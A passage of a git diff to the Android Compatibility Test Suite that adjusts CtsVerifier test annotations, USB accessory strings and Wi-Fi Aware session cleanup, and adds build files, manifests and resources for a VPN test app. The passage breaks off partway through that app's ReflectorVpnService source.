import java.io.InputStream;
import java.io.InputStreamReader;
@@ -48,7 +46,6 @@
* different protocols for a short amount of time, after which users can mark Pass/Fail depending
* on the smoothness and subjective quality of the video.
*/
-@CddTest(requirement="5.7/C-1-1,C-1-3")
public class StreamingVideoActivity extends PassFailButtons.TestListActivity {
/**
* Simple storage class for stream information.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
index 2b7201a..0866524 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/EnablePhoneAccountTestActivity.java
@@ -25,10 +25,13 @@
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Tests that a new {@link android.telecom.ConnectionService} be added and its associated
* {@link android.telecom.PhoneAccount} enabled using the calling accounts settings screen.
*/
+@CddTest(requirement="3.2.3.5/C-2-3")
public class EnablePhoneAccountTestActivity extends PassFailButtons.Activity {
private Button mRegisterPhoneAccount;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvInputDiscoveryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvInputDiscoveryTestActivity.java
index 8bec078..f1f79cf 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvInputDiscoveryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/TvInputDiscoveryTestActivity.java
@@ -26,12 +26,9 @@
import com.android.cts.verifier.R;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Tests for verifying TV app behavior for third-party TV input apps.
*/
-@CddTest(requirement="3.12.1/C-1-1,3.12.1.1/C-1-1,C-1-2,3.12.1.2/C-1-1")
public class TvInputDiscoveryTestActivity extends TvAppVerifierActivity
implements View.OnClickListener {
private static final String TAG = "TvInputDiscoveryTestActivity";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
index 0389584..9f6d72b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
@@ -92,13 +92,13 @@
@Override
protected Throwable doInBackground(Void... params) {
try {
+ assertEquals("Android CTS", accessory.getManufacturer());
+ assertEquals("Android CTS test companion device", accessory.getModel());
assertEquals("Android device running CTS verifier", accessory.getDescription());
- assertEquals("Android", accessory.getManufacturer());
- assertEquals("Android device", accessory.getModel());
- assertEquals("0", accessory.getSerial());
+ assertEquals("2", accessory.getVersion());
assertEquals("https://source.android.com/compatibility/cts/verifier.html",
accessory.getUri());
- assertEquals("1", accessory.getVersion());
+ assertEquals("0", accessory.getSerial());
assertTrue(Arrays.asList(usbManager.getAccessoryList()).contains(accessory));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
index 604169a..9dc690b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
@@ -214,12 +214,12 @@
*/
private void makeThisDeviceAnAccessory(@NonNull UsbDeviceConnection connection) {
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MANUFACTURER,
- "Android");
+ "Android CTS");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MODEL,
- "Android device");
+ "Android device under CTS test");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_DESCRIPTION,
"Android device running CTS verifier");
- AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "1");
+ AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "2");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_URI,
"https://source.android.com/compatibility/cts/verifier.html");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_SERIAL, "0");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/vr/VrListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/vr/VrListenerVerifierActivity.java
index 9c60737..2f89ec6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/vr/VrListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/vr/VrListenerVerifierActivity.java
@@ -31,6 +31,8 @@
import android.widget.TextView;
+import com.android.compatibility.common.util.CddTest;
+
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -41,6 +43,7 @@
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
+@CddTest(requirement="7.9.1/H-2-1")
public class VrListenerVerifierActivity extends PassFailButtons.Activity {
private static final String TAG = "VrListenerActivity";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
index 635d066..5f64f02 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
@@ -22,6 +22,7 @@
import android.net.ConnectivityManager;
import android.net.NetworkCapabilities;
import android.net.NetworkRequest;
+import android.net.wifi.aware.DiscoverySession;
import android.net.wifi.aware.PeerHandle;
import android.net.wifi.aware.PublishConfig;
import android.net.wifi.aware.PublishDiscoverySession;
@@ -89,6 +90,7 @@
private String mFailureReason;
private WifiAwareSession mWifiAwareSession;
+ private DiscoverySession mWifiAwareDiscoverySession;
public DataPathInBandTestCase(Context context, boolean isSecurityOpen, boolean isPublish,
boolean isUnsolicited) {
@@ -153,6 +155,10 @@
@Override
protected void tearDown() {
+ if (mWifiAwareDiscoverySession != null) {
+ mWifiAwareDiscoverySession.close();
+ mWifiAwareDiscoverySession = null;
+ }
if (mWifiAwareSession != null) {
mWifiAwareSession.close();
mWifiAwareSession = null;
@@ -191,6 +197,7 @@
return false;
}
SubscribeDiscoverySession discoverySession = callbackData.subscribeDiscoverySession;
+ mWifiAwareDiscoverySession = discoverySession;
if (discoverySession == null) {
setFailureReason(mContext.getString(R.string.aware_status_subscribe_null_session));
Log.e(TAG, "executeTestSubscriber: subscribe succeeded but null session returned");
@@ -305,6 +312,7 @@
// 7. destroy session
discoverySession.close();
+ mWifiAwareDiscoverySession = null;
mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_lifecycle_ok));
return true;
@@ -340,6 +348,7 @@
return false;
}
PublishDiscoverySession discoverySession = callbackData.publishDiscoverySession;
+ mWifiAwareDiscoverySession = discoverySession;
if (discoverySession == null) {
setFailureReason(mContext.getString(R.string.aware_status_publish_null_session));
Log.e(TAG, "executeTestPublisher: publish succeeded but null session returned");
@@ -420,6 +429,7 @@
// 7. destroy session
discoverySession.close();
+ mWifiAwareDiscoverySession = null;
mListener.onTestMsgReceived(mContext.getString(R.string.aware_status_lifecycle_ok));
return true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java
index b054781..0f81d2c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathOutOfBandTestCase.java
@@ -22,6 +22,7 @@
import android.net.ConnectivityManager;
import android.net.NetworkCapabilities;
import android.net.NetworkRequest;
+import android.net.wifi.aware.DiscoverySession;
import android.net.wifi.aware.PeerHandle;
import android.net.wifi.aware.PublishConfig;
import android.net.wifi.aware.PublishDiscoverySession;
@@ -92,6 +93,7 @@
private String mFailureReason;
private WifiAwareSession mWifiAwareSession;
+ private DiscoverySession mWifiAwareDiscoverySession;
private byte[] mDiscoveryMac;
public DataPathOutOfBandTestCase(Context context, boolean isSecurityOpen,
@@ -168,6 +170,10 @@
@Override
protected void tearDown() {
+ if (mWifiAwareDiscoverySession != null) {
+ mWifiAwareDiscoverySession.close();
+ mWifiAwareDiscoverySession = null;
+ }
if (mWifiAwareSession != null) {
mWifiAwareSession.close();
mWifiAwareSession = null;
@@ -200,6 +206,7 @@
return false;
}
PublishDiscoverySession discoverySession = callbackData.publishDiscoverySession;
+ mWifiAwareDiscoverySession = discoverySession;
if (discoverySession == null) {
setFailureReason(mContext.getString(R.string.aware_status_publish_null_session));
Log.e(TAG, "executeTestResponder: publish succeeded but null session returned");
@@ -261,6 +268,7 @@
// 5. Destroy discovery session
discoverySession.close();
+ mWifiAwareDiscoverySession = null;
// 6. Request network (as Responder) and wait for network
ConnectivityManager cm = (ConnectivityManager) mContext.getSystemService(
@@ -315,6 +323,7 @@
return false;
}
SubscribeDiscoverySession discoverySession = callbackData.subscribeDiscoverySession;
+ mWifiAwareDiscoverySession = discoverySession;
if (discoverySession == null) {
setFailureReason(mContext.getString(R.string.aware_status_subscribe_null_session));
Log.e(TAG, "executeTestInitiator: subscribe succeeded but null session returned");
@@ -388,6 +397,7 @@
// 6. Destroy discovery session
discoverySession.close();
+ mWifiAwareDiscoverySession = null;
// 7. Sleep for 5 seconds to let Responder time to set up
mListener.onTestMsgReceived(
diff --git a/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml b/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml
index b511879..13f29c7 100644
--- a/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml
+++ b/apps/CtsVerifierUSBCompanion/res/xml/accessory_filter.xml
@@ -15,5 +15,5 @@
limitations under the License.
-->
<resources>
- <usb-accessory />
+ <usb-accessory manufacturer="Android CTS" model="Android device under CTS test" version="2" />
</resources>
diff --git a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java
index 0bf8ca2..ac025d1 100644
--- a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java
+++ b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/AccessoryTestCompanion.java
@@ -341,12 +341,12 @@
*/
private void makeThisDeviceAnAccessory(@NonNull UsbDeviceConnection connection) {
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MANUFACTURER,
- "Android");
+ "Android CTS");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_MODEL,
- "Android device");
+ "Android CTS test companion device");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_DESCRIPTION,
"Android device running CTS verifier");
- AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "1");
+ AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_VERSION, "2");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_URI,
"https://source.android.com/compatibility/cts/verifier.html");
AoapInterface.sendString(connection, AoapInterface.ACCESSORY_STRING_SERIAL, "0");
diff --git a/apps/EmptyDeviceAdmin/Android.mk b/apps/EmptyDeviceAdmin/Android.mk
index 6ee3943..1d68fbb 100644
--- a/apps/EmptyDeviceAdmin/Android.mk
+++ b/apps/EmptyDeviceAdmin/Android.mk
@@ -29,6 +29,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/apps/PermissionApp/Android.mk b/apps/PermissionApp/Android.mk
index 50b1759..f22ecc3 100644
--- a/apps/PermissionApp/Android.mk
+++ b/apps/PermissionApp/Android.mk
@@ -29,6 +29,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/Android.mk b/apps/VpnApp/Android.mk
new file mode 100644
index 0000000..cb223a3
--- /dev/null
+++ b/apps/VpnApp/Android.mk
@@ -0,0 +1,21 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
+
diff --git a/apps/VpnApp/api23/Android.mk b/apps/VpnApp/api23/Android.mk
new file mode 100755
index 0000000..e25cb91
--- /dev/null
+++ b/apps/VpnApp/api23/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVpnFirewallAppApi23
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/api23/AndroidManifest.xml b/apps/VpnApp/api23/AndroidManifest.xml
new file mode 100644
index 0000000..b00e1a5
--- /dev/null
+++ b/apps/VpnApp/api23/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.vpnfirewall">
+
+ <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="23"/>
+
+ <application android:label="@string/app">
+ <activity android:name=".VpnClient">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <service android:name=".ReflectorVpnService"
+ android:permission="android.permission.BIND_VPN_SERVICE">
+ <intent-filter>
+ <action android:name="android.net.VpnService"/>
+ </intent-filter>
+ </service>
+ </application>
+
+</manifest>
diff --git a/apps/VpnApp/api24/Android.mk b/apps/VpnApp/api24/Android.mk
new file mode 100755
index 0000000..ec36333
--- /dev/null
+++ b/apps/VpnApp/api24/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVpnFirewallAppApi24
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/api24/AndroidManifest.xml b/apps/VpnApp/api24/AndroidManifest.xml
new file mode 100644
index 0000000..c0c0df6
--- /dev/null
+++ b/apps/VpnApp/api24/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.vpnfirewall">
+
+ <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="24"/>
+
+ <application android:label="@string/app">
+ <activity android:name=".VpnClient">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <service android:name=".ReflectorVpnService"
+ android:permission="android.permission.BIND_VPN_SERVICE">
+ <!-- Dummy entry below to test the default value of always-on opt-opt flag -->
+ <meta-data android:name="dummy-name" android:value="dummy-value"/>
+ <intent-filter>
+ <action android:name="android.net.VpnService"/>
+ </intent-filter>
+ </service>
+ </application>
+
+</manifest>
diff --git a/apps/VpnApp/latest/Android.mk b/apps/VpnApp/latest/Android.mk
new file mode 100755
index 0000000..0431bef
--- /dev/null
+++ b/apps/VpnApp/latest/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVpnFirewallApp
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/latest/AndroidManifest.xml b/apps/VpnApp/latest/AndroidManifest.xml
new file mode 100644
index 0000000..6cc706f
--- /dev/null
+++ b/apps/VpnApp/latest/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.vpnfirewall">
+
+ <uses-sdk android:minSdkVersion="22"/>
+
+ <application android:label="@string/app">
+ <activity android:name=".VpnClient">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <service android:name=".ReflectorVpnService"
+ android:permission="android.permission.BIND_VPN_SERVICE">
+ <intent-filter>
+ <action android:name="android.net.VpnService"/>
+ </intent-filter>
+ </service>
+ </application>
+
+</manifest>
diff --git a/apps/VpnApp/notalwayson/Android.mk b/apps/VpnApp/notalwayson/Android.mk
new file mode 100755
index 0000000..06731f8
--- /dev/null
+++ b/apps/VpnApp/notalwayson/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsVpnFirewallAppNotAlwaysOn
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
+
+#LOCAL_SDK_VERSION := current
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/apps/VpnApp/notalwayson/AndroidManifest.xml b/apps/VpnApp/notalwayson/AndroidManifest.xml
new file mode 100644
index 0000000..fc250aa
--- /dev/null
+++ b/apps/VpnApp/notalwayson/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.vpnfirewall">
+
+ <uses-sdk android:minSdkVersion="22"/>
+
+ <application android:label="@string/app">
+ <activity android:name=".VpnClient">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <service android:name=".ReflectorVpnService"
+ android:permission="android.permission.BIND_VPN_SERVICE">
+ <intent-filter>
+ <action android:name="android.net.VpnService"/>
+ </intent-filter>
+ <meta-data android:name="android.net.VpnService.SUPPORTS_ALWAYS_ON"
+ android:value="false"/>
+ </service>
+ </application>
+
+</manifest>
diff --git a/apps/VpnApp/res/layout/vpn_client.xml b/apps/VpnApp/res/layout/vpn_client.xml
new file mode 100644
index 0000000..a3a14ae
--- /dev/null
+++ b/apps/VpnApp/res/layout/vpn_client.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+ <LinearLayout android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:orientation="vertical"
+ android:padding="3mm">
+ <Button style="@style/item" android:id="@+id/connect" android:text="@string/connect"/>
+ </LinearLayout>
+</ScrollView>
diff --git a/apps/VpnApp/res/values/strings.xml b/apps/VpnApp/res/values/strings.xml
new file mode 100644
index 0000000..ec86c71
--- /dev/null
+++ b/apps/VpnApp/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="app">CtsVpnFirewallApp</string>
+ <string name="connect">Connect!</string>
+</resources>
diff --git a/apps/VpnApp/res/values/styles.xml b/apps/VpnApp/res/values/styles.xml
new file mode 100644
index 0000000..6f4011b
--- /dev/null
+++ b/apps/VpnApp/res/values/styles.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <style name="item">
+ <item name="android:layout_width">match_parent</item>
+ <item name="android:layout_height">wrap_content</item>
+ <item name="android:textAppearance">?android:attr/textAppearanceMedium</item>
+ <item name="android:singleLine">true</item>
+ </style>
+</resources>
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/IcmpMessage.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/IcmpMessage.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/IcmpMessage.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/IcmpMessage.java
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/Ipv4Packet.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/Ipv4Packet.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/Ipv4Packet.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/Ipv4Packet.java
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/PingReflector.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/PingReflector.java
similarity index 100%
rename from hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/PingReflector.java
rename to apps/VpnApp/src/com/android/cts/vpnfirewall/PingReflector.java
diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
new file mode 100755
index 0000000..73afeaf
--- /dev/null
+++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.vpnfirewall;
+
+import android.R;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.content.Intent;
